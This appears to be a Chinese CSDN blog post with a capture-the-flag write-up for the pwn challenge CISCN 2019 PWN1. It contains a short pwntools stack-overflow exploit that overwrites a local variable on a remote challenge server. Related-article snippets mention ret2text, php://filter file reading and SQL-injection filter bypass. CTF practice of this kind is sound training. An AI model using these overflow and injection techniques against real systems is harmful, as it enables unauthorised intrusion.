[CISCN 2019华北]PWN1

最新推荐文章于 2024-06-09 21:16:31 发布

b1n8

最新推荐文章于 2024-06-09 21:16:31 发布

阅读量405

点赞数 10

分类专栏： pwn刷题文章标签：安全

本文链接：https://blog.csdn.net/m0_74355719/article/details/134698415

版权

pwn刷题专栏收录该内容

8 篇文章 0 订阅

订阅专栏

v1可以溢出

然后改变v2的值

from pwn import *

context(arch='amd64',os='linux',log_level='debug')

p=remote('node4.anna.nssctf.cn',28983)

padding=44
flag = 0x41348000
payload=b'a'*44+p32(flag)

p.sendline(payload)


p.interactive()

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

b1n8

关注关注

10
点赞
踩
6

收藏

觉得还不错? 一键收藏
1
评论
[CISCN 2019华北]PWN1

【代码】[CISCN 2019华北]PWN1。
复制链接

扫一扫

专栏目录

ciscn-2019-pwn

11-29

1. baby_pwn2. bms3. daily4. Double5 your_pwn

your_pwn ciscn 2019 第十二届全国大学生信息安全竞赛

04-22

pwn赛题之your_pwn ciscn 2019 第十二届全国大学生信息安全竞赛

1 条评论您还未登录，请先登录后发表或查看评论

nssctf [CISCN 2019华北]PWN1

n1ght的博客

03-08

655

通过v1的值覆盖到v2的地址，将小数转成十六机制，发送使v2的值就等于11.2815。还有个思路就是我们覆盖返回地址为system("cat /flag")的地址。我们可以输入v1的值，当v2的值是11.28125的时候，查看文件内容。所以v1离v2的距离是0x30-0x4，并且11.2815的十六进制是。发现func函数，点进去查看函数具体代码。发现开启了栈不可执行和部分地址随机化。checksec查看保护机制。v1离rbp的距离是0x30。看到了逻辑，v2的值0.0。v2离rbp的距离是0x4。

[CISCN 2019华北]PWN1 CTF—PWN

m0_72904009的博客

05-13

353

[CISCN 2019华北]PWN1 CTF—PWN

【PWN · ret2text】[CISCN 2019华北]PWN1

Mr_Fmnwon的博客

04-21

509

依旧是简单的ret2text。

pwn——ciscn_2019_n_1#pwn1_sctf_2016#jarvisoj_level0

LSYZWF的博客

10-26

551

文章目录ciscn_2019_n_1题目解答 ciscn_2019_n_1 题目题目链接：https://buuoj.cn/challenges#ciscn_2019_n_1 解答 1、打开IDA进行分析发现函数gets和系统命令cat 此函数的大致意思是输入v1的值，然后判断v2，故存在栈溢出使得v2的内存中的值为11.28125 2、判断偏移地址 v2的内存地址距离v1首地址的偏移量是30h-04h=2ch 3、gdb调试一波没有堆栈溢出保护 4、编写脚本 11.28125的十六进制可以在I

Double ciscn 2019 第十二届全国大学生信息安全竞赛

04-22

pwn赛题之Double ciscn 2019 第十二届全国大学生信息安全竞赛

baby_pwn ciscn 2019 第十二届全国大学生信息安全竞赛

04-22

baby_pwn 赛题 ciscn 2019 第十二届全国大学生信息安全竞赛

ciscn_2019_n_3

12-30

ciscn(全国大学生信息安全竞赛)，2019年的一道题目，涉及到fastbin堆漏洞的利用。由于调用了system函数，所以漏洞利用的难度不大，推荐初学者练习。题解链接：...

初学pwn-BUUCTF(ciscn_2019_n_1)

天柱的博客

08-31

579

初学pwn-writeUp BUUCTF的第四道题，ciscn-2019_n_1。首先还是链接远端查看一下。这里提示让猜一个数字，然后他告诉我们，这个数字应该是11.28125。这就有点掩耳盗铃了呀，但是输入了11.28125，还是在说应该输入11.28125。可能是有点问题，ida打开查看一下。可以看到主函数里，调用了三个函数，前两个都是set某个值，我们直接看func函数。那这就很明显了，刚刚输入的值赋给了v1，但是这里是要让v2的值等于11.28125才可以。查看一下地址。嗯，跟想象

[BUUCTF-pwn]——ciscn_2019_n_1

Y_peak的博客

01-31

914

[BUUCTF-pwn]——ciscn_2019_n_1 [BUUCTF-pwn]——ciscn_2019_n_1思路一 —— 覆盖局部变量思路二 —— 覆盖返回地址题目地址：https://buuoj.cn/challenges#ciscn_2019_n_1 题目：老规矩下载下来后，在Linux上checksec一下，64位，并且没有开启栈保护，意味着我们可以利用栈溢出在IDA中看一下，main函数里面没有什么可以利用的双击func函数看看，就是我们想要的。思路一 —— 覆盖局部变量

[每日一PWN]BUUCTF ciscn_2019_n_1

qq_55233040的博客

11-21

408

这道题双解，一种ret2text，另一种就是单纯的覆盖数据改变判断结果。

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

K1ose的博客

03-24

139

访问页面，view-source一下，发现最下边有提示传参?file=；伪协议读一下源代码； ?file=php://filter/convert.base64-encode/resource=index.php 得到的base64值解码；这里只提取php代码； <?php ini_set('open_basedir', '/var/www/html/'); // $file = $_GET["file"]; $file = (isset($_GET['file']) ? $_GET['fil

第二十六题——[CISCN2019 华北赛区 Day2 Web1]Hack World

分享简单的安全技术

04-16

231

题目地址：https://buuoj.cn/challenges 解题思路第一步：进入题目，看到提示flag在flag表的flag字段第二步：尝试万能密码1'or 1=1#发现被拦截第三步：猜测拦截黑名单有第二步得知输入黑名单会出现SQL Injection Checked提示，输入1'^发现未被拦截但是无详细错误提示,猜测是盲注使用burpsuite进行过滤查看，发现union，ununionion，and，or，空格，；，都被拦截，猜测使用异或盲注第四步：构建脚本获取flag

NSSCTF PWN (入门)

农夫果园好好喝的博客

09-18

1592

这不是欺负老实人嘛~

[CISCN2019 华北赛区 Day1 Web1]Dropbox

沐目的博客

10-31

6768

知识点轰炸 1.1 open_basedir 在in_set这个函数中，可以设置php的一些配置，其中就包括open_basedir ，用来限制当前程序可以访问的目录。后来问了一下朱师傅，了解到：它是可以访问设置目录下的所有下级目录。若"open_basedir = /dir/user", 那么目录 “/dir/user” 和 “/dir/other"都是可以访问的。所以如果要将访问限制在仅为指...

展会邀请 | 龙智即将亮相2024上海国际嵌入式展，带来安全合规、单一可信数据源、可追溯、高效协同的嵌入式开发解决方案

最新发布

weixin_49715102的博客

06-09

927

凭借在DevSecOps领域的深厚积累，龙智在全球范围内遴选优秀的专业工具，为嵌入式开发行业打造了专属的嵌入式开发解决方案，并提供专业咨询、方案定制、实施部署、专业培训、定制开发等一站式服务支持。等全球专业工具，覆盖嵌入式软件单元测试、静态代码分析、需求管理、版本控制、生命周期管理及项目管理、知识库管理等领域，助力企业实现安全合规、可追溯、单一可信数据源、高效协同的嵌入式开发。并且嵌入式系统往往非常复杂，需要全面的测试覆盖、高效的测试执行，才能确保系统的可靠性和正确性，以及产品的及时交付。

讲解一下pwn 2019第五空间

04-02

Pwn 2019第五空间是一场CTF比赛中的一道题目。该题目为二进制漏洞利用类题目，需要利用二进制程序中的漏洞进行攻击，获取程序的控制权。该题目中提供了一个二进制文件，玩家需要对该文件进行分析，找出其中的漏洞并进行利用。分析过程中需要使用调试工具、反汇编工具等，以便深入理解程序的执行过程。在这个题目中，玩家需要利用程序中的缓冲区溢出漏洞，通过向缓冲区中输入恶意代码，实现对程序的控制。具体来说，玩家需要构造一个恶意输入，使得程序在执行过程中跳转到指定的地址，并执行指定的代码，从而获取程序的控制权。该题目难度较高，需要玩家具备较强的二进制漏洞利用能力和调试能力。同时，该题目也为玩家提供了一个锻炼自己技能的机会，帮助玩家提高对二进制漏洞利用的理解和掌握。

“相关推荐”对你有帮助么？

非常没帮助
没帮助
一般
有帮助
非常有帮助

提交